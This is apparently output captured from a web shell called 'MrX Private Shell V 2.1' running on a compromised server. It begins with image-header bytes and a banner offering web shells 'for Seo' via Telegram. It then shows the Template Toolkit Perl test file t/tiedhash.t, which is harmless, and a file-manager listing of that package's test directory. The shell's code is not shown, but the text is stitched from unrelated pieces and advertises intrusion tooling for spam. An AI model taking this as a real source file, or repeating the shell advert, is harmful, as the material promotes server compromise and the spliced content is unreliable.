����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#============================================================= -*-perl-*-
#
# t/tiedhash.t
#
# Template script testing variable via a tied hash.
#
# Written by Andy Wardley <abw@wardley.org>
#
# Copyright (C) 1996-2001 Andy Wardley. All Rights Reserved.
# Copyright (C) 1998-2001 Canon Research Centre Europe Ltd.
#
# This is free software; you can redistribute it and/or modify it
# under the same terms as Perl itself.
#
# $Id$
#
#========================================================================
use strict;
use warnings;
# should not prove be responsible for this?
use lib qw( blib/lib blib/arch lib ../blib/lib ../blib/arch ../lib );
use Template::Test;
use Template::Stash;
use Template::Config;
use File::Spec;
# MacOS Catalina won't allow Dynaloader to load from relative paths
# Error: file system relative paths not allowed in hardened program
@INC = map { File::Spec->rel2abs($_) } @INC;
our $DEBUG = grep(/-d/, @ARGV);
our $STORE_PREFIX = '';
our $FETCH_PREFIX = '';
# only run the test when compiled with Template::Stash
if ( $Template::Config::STASH ne 'Template::Stash::XS' ) {
skip_all('Template::Config is not using Template::Stash::XS');
}
require Template::Stash::XS;
#------------------------------------------------------------------------
package My::Tied::Hash;
use Tie::Hash;
use base 'Tie::StdHash';
sub FETCH {
my ($hash, $key) = @_;
print STDERR "FETCH($key)\n" if $main::DEBUG;
my $val = $hash->{ $key };
return $val ? (ref $val ? $val : "$main::FETCH_PREFIX$val") : undef;
}
sub STORE {
my ($hash, $key, $val) = @_;
print STDERR "STORE($key, $val)\n" if $main::DEBUG;
$hash->{ $key } = ref $val ? $val : "$main::STORE_PREFIX$val";
}
#------------------------------------------------------------------------
package My::Tied::List;
use Tie::Array;
use base 'Tie::StdArray';
sub FETCH {
my ($list, $n) = @_;
print STDERR "FETCH from list [$n]\n" if $main::DEBUG;
my $val = $list->[ $n ];
return $val ? (ref $val ? $val : "$main::FETCH_PREFIX$val") : undef;
}
sub STORE {
my ($list, $n, $val) = @_;
print STDERR "STORE to list [$n => $val]\n" if $main::DEBUG;
$list->[$n] = ref $val ? $val : "$main::STORE_PREFIX$val";
}
#------------------------------------------------------------------------
package main;
# setup a tied hash and a tied list
my @list;
tie @list, 'My::Tied::List';
push(@list, 10, 20, 30);
my %hash = (a => 'alpha');
tie %hash, 'My::Tied::Hash';
$hash{ a } = 'alpha';
$hash{ b } = 'bravo';
$hash{ zero } = 0;
$hash{ one } = 1;
# now turn on the prefixes so we can track items going in
# and out of the tied hash/list
$FETCH_PREFIX = 'FETCH:';
$STORE_PREFIX = 'STORE:';
my $data = {
hash => \%hash,
list => \@list,
};
my $stash_perl = Template::Stash->new($data);
my $stash_xs = Template::Stash::XS->new($data);
my $tt = [
perl => Template->new( STASH => $stash_perl ),
xs => Template->new( STASH => $stash_xs ),
];
test_expect(\*DATA, $tt);
__DATA__
#------------------------------------------------------------------------
# first try with the Perl stash
#------------------------------------------------------------------------
# hash tests
-- test --
[% hash.a %]
-- expect --
FETCH:alpha
-- test --
[% hash.b %]
-- expect --
FETCH:bravo
-- test --
ready
set:[% hash.c = 'cosmos' %]
go:[% hash.c %]
-- expect --
ready
set:
go:FETCH:STORE:cosmos
-- test --
[% hash.foo.bar = 'one' -%]
[% hash.foo.bar %]
-- expect --
one
# list tests
-- test --
[% list.0 %]
-- expect --
FETCH:10
-- test --
[% list.first %]-[% list.last %]
-- expect --
FETCH:10-FETCH:30
-- test --
[% list.push(40); list.last %]
-- expect --
FETCH:40
-- test --
[% list.4 = 50; list.4 %]
-- expect --
FETCH:STORE:50
#------------------------------------------------------------------------
# now try using the XS stash
#------------------------------------------------------------------------
# hash tests
-- test --
-- use xs --
[% hash.a %]
-- expect --
FETCH:alpha
-- test --
[% hash.b %]
-- expect --
FETCH:bravo
-- test --
[% hash.c = 'crazy'; hash.c %]
-- expect --
FETCH:STORE:crazy
-- test --
[% DEFAULT hash.c = 'more crazy'; hash.c %]
-- expect --
FETCH:STORE:crazy
-- test --
[% hash.wiz = 'woz' -%]
[% hash.wiz %]
-- expect --
FETCH:STORE:woz
-- test --
[% DEFAULT hash.zero = 'nothing';
hash.zero
%]
-- expect --
FETCH:STORE:nothing
-- test --
before: [% hash.one %]
after: [% DEFAULT hash.one = 'solitude';
hash.one
%]
-- expect --
before: FETCH:1
after: FETCH:1
-- test --
[% hash.foo = 10; hash.foo = 20; hash.foo %]
-- expect --
FETCH:STORE:20
# this test should create an intermediate hash
-- test --
[% DEFAULT hash.person = { };
hash.person.name = 'Arthur Dent';
hash.person.email = 'dent@tt2.org';
-%]
name: [% hash.person.name %]
email: [% hash.person.email %]
-- expect --
name: Arthur Dent
email: dent@tt2.org
# list tests
-- test --
[% list.0 %]
-- expect --
FETCH:10
-- test --
[% list.first %]-[% list.last %]
-- expect --
FETCH:10-FETCH:STORE:50
-- test --
[% list.push(60); list.last %]
-- expect --
FETCH:60
-- test --
[% list.5 = 70; list.5 %]
-- expect --
FETCH:STORE:70
-- test --
[% DEFAULT list.5 = 80; list.5 %]
-- expect --
FETCH:STORE:70
-- test --
[% list.10 = 100; list.10 %]
-- expect --
FETCH:STORE:100
-- test --
[% stuff = [ ];
stuff.0 = 'some stuff';
stuff.0
-%]
-- expect --
some stuff
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| lib | Folder | 0755 |
|
|
| test | Folder | 0755 |
|
|
| vmethods | Folder | 0755 |
|
|
| README | File | 3.1 KB | 0644 |
|
| anycase.t | File | 2.16 KB | 0644 |
|
| args.t | File | 2.41 KB | 0644 |
|
| assert.t | File | 2.53 KB | 0644 |
|
| base.t | File | 3.58 KB | 0644 |
|
| binop.t | File | 4.82 KB | 0644 |
|
| block.t | File | 2.71 KB | 0644 |
|
| block_duplicate.t | File | 476 B | 0644 |
|
| blocks.t | File | 2.2 KB | 0644 |
|
| capture.t | File | 1.59 KB | 0644 |
|
| case.t | File | 1.46 KB | 0644 |
|
| chomp.t | File | 7.71 KB | 0644 |
|
| compile1.t | File | 2.12 KB | 0644 |
|
| compile2.t | File | 2.67 KB | 0644 |
|
| compile3.t | File | 3.75 KB | 0644 |
|
| compile4.t | File | 2.38 KB | 0644 |
|
| compile5.t | File | 3.28 KB | 0644 |
|
| config.t | File | 6.46 KB | 0644 |
|
| constants.t | File | 5.07 KB | 0644 |
|
| context.t | File | 5.87 KB | 0644 |
|
| datafile.t | File | 1.81 KB | 0644 |
|
| date.t | File | 6.73 KB | 0644 |
|
| date_offset.t | File | 2.17 KB | 0644 |
|
| date_utf8.t | File | 1.33 KB | 0644 |
|
| debug.t | File | 3.86 KB | 0644 |
|
| directive.t | File | 4.76 KB | 0644 |
|
| directry.t | File | 5.48 KB | 0644 |
|
| document.t | File | 3.58 KB | 0644 |
|
| dumper.t | File | 1.47 KB | 0644 |
|
| error.t | File | 953 B | 0644 |
|
| evalperl.t | File | 3.73 KB | 0644 |
|
| exception.t | File | 1.52 KB | 0644 |
|
| factory.t | File | 1.4 KB | 0644 |
|
| file.t | File | 2.87 KB | 0644 |
|
| fileline.t | File | 3.16 KB | 0644 |
|
| filter.t | File | 17.74 KB | 0644 |
|
| foreach.t | File | 10.31 KB | 0644 |
|
| format.t | File | 1.78 KB | 0644 |
|
| html.t | File | 2.52 KB | 0644 |
|
| image.t | File | 2.22 KB | 0644 |
|
| include.t | File | 6.04 KB | 0644 |
|
| iterator.t | File | 3.67 KB | 0644 |
|
| leak.t | File | 5.01 KB | 0644 |
|
| list.t | File | 4.41 KB | 0644 |
|
| load_order_vmethods_stash.t | File | 192 B | 0644 |
|
| macro.t | File | 2.93 KB | 0644 |
|
| math.t | File | 1.22 KB | 0644 |
|
| math_rand.t | File | 476 B | 0644 |
|
| meta.t | File | 881 B | 0644 |
|
| mtime-zero.t | File | 1.04 KB | 0644 |
|
| object.t | File | 7.23 KB | 0644 |
|
| outline.t | File | 2.29 KB | 0644 |
|
| outline_line.t | File | 971 B | 0644 |
|
| output.t | File | 2.66 KB | 0644 |
|
| parser.t | File | 4.74 KB | 0644 |
|
| parser2.t | File | 981 B | 0644 |
|
| plugins.t | File | 6.12 KB | 0644 |
|
| plusfile.t | File | 1.91 KB | 0644 |
|
| pod.t | File | 2.05 KB | 0644 |
|
| prefix.t | File | 1.46 KB | 0644 |
|
| proc.t | File | 867 B | 0644 |
|
| process-relative.t | File | 2.05 KB | 0644 |
|
| process.t | File | 1.88 KB | 0644 |
|
| process_dir.t | File | 1.84 KB | 0644 |
|
| provider.t | File | 11.08 KB | 0644 |
|
| ref.t | File | 1.63 KB | 0644 |
|
| scalar.t | File | 2.56 KB | 0644 |
|
| service.t | File | 5.07 KB | 0644 |
|
| skel.t | File | 947 B | 0644 |
|
| stash-xs-unicode.t | File | 2.03 KB | 0644 |
|
| stash-xs.t | File | 8.42 KB | 0644 |
|
| stash.t | File | 7.91 KB | 0644 |
|
| stashc.t | File | 1.6 KB | 0644 |
|
| stop.t | File | 2.72 KB | 0644 |
|
| strcat.t | File | 758 B | 0644 |
|
| strict.t | File | 1.52 KB | 0644 |
|
| string.t | File | 7.38 KB | 0644 |
|
| switch.t | File | 3.83 KB | 0644 |
|
| table.t | File | 2.68 KB | 0644 |
|
| tags.t | File | 3.63 KB | 0644 |
|
| template.t | File | 1.49 KB | 0644 |
|
| text.t | File | 2.89 KB | 0644 |
|
| throw.t | File | 1.94 KB | 0644 |
|
| tiedhash.t | File | 5.28 KB | 0644 |
|
| trace_vars.t | File | 1.11 KB | 0644 |
|
| try.t | File | 9.83 KB | 0644 |
|
| unicode.t | File | 4.55 KB | 0644 |
|
| url.t | File | 4.06 KB | 0644 |
|
| vars.t | File | 11.36 KB | 0644 |
|
| varsv1.t | File | 8.96 KB | 0644 |
|
| view.t | File | 17.43 KB | 0644 |
|
| while.t | File | 3.18 KB | 0644 |
|
| wrap.t | File | 2.63 KB | 0644 |
|
| wrapper.t | File | 3.95 KB | 0644 |
|
| zz-plugin-cycle.t | File | 1.6 KB | 0644 |
|
| zz-plugin-leak-gh-213.t | File | 2.77 KB | 0644 |
|
| zz-plugin-leak-rt-46691.t | File | 2.95 KB | 0644 |
|
| zz-plugin-leak.t | File | 2.02 KB | 0644 |
|
| zz-pmv.t | File | 1.15 KB | 0644 |
|
| zz-pod-coverage.t | File | 1.64 KB | 0644 |
|
| zz-pod-kwalitee.t | File | 776 B | 0644 |
|
| zz-stash-xs-leak.t | File | 1.59 KB | 0644 |
|
| zz-url2.t | File | 3.71 KB | 0644 |
|